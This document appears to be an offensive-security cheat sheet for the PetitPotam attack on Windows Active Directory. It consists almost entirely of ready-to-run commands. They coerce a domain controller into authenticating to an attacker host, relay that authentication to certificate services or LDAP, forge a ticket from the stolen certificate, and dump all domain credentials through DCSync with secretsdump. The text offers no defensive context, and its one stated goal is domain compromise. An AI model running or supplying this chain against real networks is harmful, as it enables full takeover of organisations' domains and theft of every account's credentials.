Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
PetitPotam: coerce DC authentication via MS-EFSRPC and relay to ADCS or LDAP for domain compromise.
# https://github.com/topotam/PetitPotam python3 PetitPotam.py ATTACKER_IP DC_IP python3 PetitPotam.py ATTACKER_IP DC_IP -u user -p password -d DOMAIN
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u user -p password -d DOMAIN ATTACKER_IP DC_IP
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Get TGT with certificate python3 gettgtpkinit.py DOMAIN/'DC$' dc.ccache -cert-pfx dc.pfx # DCSync export KRB5CCNAME=dc.ccache impacket-secretsdump -k -no-pass DOMAIN/'DC$'@DC_HOSTNAME
impacket-ntlmrelayx -t ldap://DC_IP --delegate-access --escalate-user attacker
# https://github.com/dirkjanm/krbrelayx python3 printerbug.py DOMAIN/user:password@DC_IP ATTACKER_IP
python3 dfscoerce.py -u user -p password -d DOMAIN ATTACKER_IP DC_IP
PetitPotam.py ATTACKER DC_IP
ntlmrelayx -t http://CA/certsrv/... --adcs
ntlmrelayx -t ldap://DC --delegate-access
gettgtpkinit.py DOMAIN/'DC$' dc.ccache -cert-pfx dc.pfx